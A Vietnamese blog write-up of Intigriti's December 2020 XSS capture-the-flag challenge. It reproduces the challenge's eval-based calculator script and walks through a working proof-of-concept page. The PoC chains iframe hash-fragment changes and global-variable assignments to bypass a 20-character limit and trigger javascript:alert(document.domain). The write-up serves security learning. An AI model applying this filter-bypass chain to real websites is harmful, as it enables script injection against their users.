- vừa được xem lúc

[Write-up] Intigriti's December XSS Challenge 2020

0 0 35

Người đăng: Nguyen Anh Tien

Theo Viblo Asia

Giới thiệu

Gần đây mình có làm thử một bài CTF về XSS của Intigriti (platform bug bounty của châu Âu) và nhờ có sự trợ giúp của những người bạn cực kỳ bá đạo, cuối cùng mình cũng hoàn thành được challenge. Challenge đã kết thúc hôm 14/12 và sau đây là quick write-up.

Đề bài

https://challenge-1220.intigriti.io/

gồm các thông tin và một cái calculator bằng JS để giúp các hacker tính bounty cho nó nhanh ?

Đề bài yêu cầu như sau:

  • Payload XSS phải hoạt động trên version mới nhất của Firefox và Chrome
  • Phải chạy được payload alert(document.domain)
  • Payload phải chạy trên domain challenge-1220.intigriti.io
  • Không phải là self-XSS hay là tấn công MiTM
  • Lời giải sbubmit vào go.intigriti.com/submit-solution

Trong quá trình đăng tweet, ban tổ chức có đưa ra gợi ý mỗi khi dòng tweet được thêm 100 likes, và đây là 4 hint được đưa ra:

  • hint 1: less eval, more parsing
  • hint 2: The solution needs 3D
  • hint 3: hashoo
  • hint 4: Nobody likes duplicates, except parameters

Đến đây bạn nào muốn tự làm thử thì có thể dừng lại 1 chút, không thì đọc tiếp nhé.

Source code

Source code của đề bài nằm ở file https://challenge-1220.intigriti.io/script.js như sau:

window.name = "Intigriti's XSS challenge"; const operators = ["+", "-", "/", "*", "="];
function calc(num1 = "", num2 = "", operator = ""){ operator = decodeURIComponent(operator); var operation = `${num1}${operator}${num2}`; document.getElementById("operation").value = operation; if(operators.indexOf(operator) == -1){ throw "Invalid operator."; } if(!(/^[0-9a-zA-Z-]+$/.test(num1)) || !(/^[0-9a-zA-Z]+$/.test(num2))){ throw "No special characters." } if(operation.length > 20){ throw "Operation too long."; } return eval(operation);
} function init(){ try{ document.getElementById("result").value = calc(getQueryVariable("num1"), getQueryVariable("num2"), getQueryVariable("operator")); } catch(ex){ console.log(ex); }
} function getQueryVariable(variable) { window.searchQueryString = window.location.href.substr(window.location.href.indexOf("?") + 1, window.location.href.length); var vars = searchQueryString.split('&'); var value; for (var i = 0; i < vars.length; i++) { var pair = vars[i].split('='); if (decodeURIComponent(pair[0]) == variable) { value = decodeURIComponent(pair[1]); } } return value;
} /* The code below is calculator UI and not part of the challenge
*/ window.onload = function(){ init(); var numberBtns = document.body.getElementsByClassName("number"); for(var i = 0; i < numberBtns.length; i++){ numberBtns[i].onclick = function(e){ setNumber(e.target.innerText) }; }; var operatorBtns = document.body.getElementsByClassName("operator"); for(var i = 0; i < operatorBtns.length; i++){ operatorBtns[i].onclick = function(e){ setOperator(e.target.innerText) }; }; var clearBtn = document.body.getElementsByClassName("clear")[0]; clearBtn.onclick = function(){ clear(); }
} function setNumber(number){ var url = new URL(window.location); var num1 = getQueryVariable('num1') || 0; var num2 = getQueryVariable('num2') || 0; var operator = getQueryVariable('operator'); if(operator == undefined || operator == ""){ url.searchParams.set('num1', parseInt(num1 + number)); } else if(operator != undefined){ url.searchParams.set('num2', parseInt(num2 + number)); } window.history.pushState({}, '', url); init();
} function setOperator(operator){ var url = new URL(window.location); if(getQueryVariable('num2') != undefined){ //operation with previous result url.searchParams.set('num1', calc(getQueryVariable("num1"), getQueryVariable("num2"), getQueryVariable("operator"))); url.searchParams.delete('num2'); url.searchParams.set('operator', operator); } else if(getQueryVariable('num1') != undefined){ url.searchParams.set('operator', operator); } else{ alert("You need to pick a number first."); } window.history.pushState({}, '', url); init();
} function clear(){ var url = new URL(window.location); url.searchParams.delete('num1'); url.searchParams.delete('num2'); url.searchParams.delete('operator'); window.history.pushState({}, '', url); document.getElementById("result").value = ""; init();
}

Đề bài gồm 2 phần và phần dưới dùng để tạo ra calculator thì được note là The code below is calculator UI and not part of the challenge (cơ mà việc này cũng không ngăn cản được các hacker exploit vào đây và tạo ra kha khá các lời giải un-intented :v)

Phân tích

  • Sau khi load trang thì flow sẽ là window.onload -> init -> calc
  • Hàm getQueryVariable có nhiệm vụ lấy ra giá trị tương ứng với tham số query string được truyền vào. VD: &num1=1 thì getQueryVariable("num1") sẽ trả về 1. Hàm này tìm chuỗi query string bằng cách tìm ký tự ? và sau đó split bằng & rồi split tiếp bằng =, nếu có nhiều cặp thì chỉ lấy cái cuối cùng (chắc liên quan đến hint 4, param pollution?)
  • Hàm calc sẽ tạo ra chuỗi biểu thức từ ${num1}${operator}${num2} và thực hiện eval. Có một vài giới hạn:
    • operator nằm trong mảng ["+", "-", "/", "*", "="]
    • num1num2 sẽ không được chứa các ký tự đặc biệt, chỉ có alphanumeric (riêng num1 thì cho phép thêm -)
    • chiều dài của biểu thức không quá 20 ký tự.
  • Với hint 2 ta có thể nghĩ đến việc gán (3D là encode của =), VD: &num1=location&operator=%3D&num2=javascript:alert(origin) chẳng hạn thì location = javascript:alert(origin) sẽ trigger XSS.
    • Tuy nhiên, không được dùng ký tự đặc biệt -> chuyển hướng sang gán vào 1 biến nào đấy ta control được (và là global): ở đây là searchQueryString.
    • Tuy nhiên lần 2, location=searchQueryString thì lại dài quá 20 ký tự. Vậy sẽ cần gán biến trung gian?
  • Vì hàm getQueryVariable không để ý đến vị trí của ? nên ta có thể nhét hết payload vào hash fragment của URL. (hint 3)
  • đưa trang vào iframe như sau nhằm eval ra location=name cũng sẽ fail vì name đã được gán lại giá trị ở đầu file JS:
<iframe name="javascript:alert(origin)" src="https://challenge-1220.intigriti.io/?num1=location&operator=%3D&num2=name"
>

Lời giải

PoC

https://challenge-1220-poc.surge.sh/

Source code

<!DOCTYPE html>
<html lang="en"> <head> <title>Challenge 1220 Solution</title> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> </head> <body> <!-- First step --> <iframe id="inner" onload="run()" src="https://challenge-1220.intigriti.io/#?javascript:alert(document.domain)//&num1=onhashchange&operator=%3D&num2=onload" > </iframe> <script> function run() { inner.src = "https://challenge-1220.intigriti.io/#?javascript:alert(document.domain)//&num1=z&operator=%3d&num2=searchQueryString"; // Second step setTimeout(function () { inner.src = "https://challenge-1220.intigriti.io/#?javascript:alert(document.domain)//&num1=location&operator=%3d&num2=z"; // Final step }, 1000); } </script> </body>
</html>

Để exploit chúng ta cần thực hiện 3 step:

  1. Load trang challenge vào 1 iframe. Đưa hết payload vào hash fragment.
  2. Dựa vào trick là khi hash fragment thay đổi thì trang không bị reload lại (parent có thể thay đổi hash của child iframe) (một dạng XS-Leaks xem ở đây) nhưng event onhashchange vẫn được trigger, ta gán onhashchange=onload với payload sau:
#?javascript:alert(document.domain)//&num1=onhashchange&operator=%3D&num2=onload

Sau bước này, ta hay đổi hash của src của iframe từ parent để trigger event, đồng thời trigger tiếp onload bên trong iframe, thực hiện việc gán biến trung gian.

  1. Gán z=searchQueryString bằng payload dưới đây để bypass việc limit 20 ký tự:
#?javascript:alert(document.domain)//&num1=z&operator=%3d&num2=searchQueryString
  1. Gán location=z bằng payload sau:
#?javascript:alert(document.domain)//&num1=location&operator=%3d&num2=z

z lúc này đã là searchQueryString và có giá trị là

javascript:alert(document.domain)//&num1=location&operator=%3d&num2=z

phần // được thêm vào để comment hết chuỗi đằng sau, đảm bảm đoạn này là JS hợp lệ cho eval:

sẽ trigger XSS -> Challenge solved!

  1. Các hàm runsetTimeout được sử dụng để đảm bảo đúng thứ tự thực hiện của các payload.

Kết quả

Kết quả của challenge: https://twitter.com/intigriti/status/1338457245726760962

Extra

Recommend mọi người đọc thêm các write-up khác, đặc biệt là bộ 3 solution (kèm cả unintented) của thánh @terjanq (thánh ăn gì để em cúng ạ ? )

Kết

Shout out to my friends, you guys have never failed to amaze me ?

Bình luận

Bài viết tương tự

- vừa được xem lúc

PDF Export, cẩn thận với những input có thể truyền vào

Giới thiệu. Dạo gần đây mình tình cờ gặp rất nhiều lỗi XSS, tuy nhiên trang đó lại có sử dụng dữ liệu người dùng input vào để export ra PDF.

0 0 49

- vừa được xem lúc

Cải thiện bảo mật trong ReactJS

1. Bảo mật XSS với data-binding.

0 0 29

- vừa được xem lúc

Những lỗ hổng hàng đầu trong ứng dụng web có thể ngăn chặn bằng thử nghiệm

Khi nói về rủi ro không gian mạng, điều đầu tiên chúng ta có thể nghĩ đến là phần mềm độc hại. Tuy nhiên, nhiều cuộc tấn công mạng có liên quan đến ứng dụng.

0 0 64

- vừa được xem lúc

EC-Cube CMS và một số vấn đề bảo mật

Giới thiệu về EC-Cube. Ra đời từ năm 2006, EC-CUBE hiện là platform thương mại điển tử mã nguồn mở số 1 tại thị trường Nhật Bản.

0 0 73

- vừa được xem lúc

Setup XSS Hunter Express để khai thác XSS

Chẳng là ai là bug bounty hunter, pentester, researcher security cũng đã từng biết đến công cụ khai thác lỗ hổng XSS XSSHunter. Công cụ này giúp cho các bạn có thể test, khai thác các lỗ hổng XSS (như

0 0 19

- vừa được xem lúc

XSS vulnerabilities - phần 2

II. Phân tích, phòng chống các lỗ hổng Reflected XSS và Stored XSS (tiếp).

0 0 10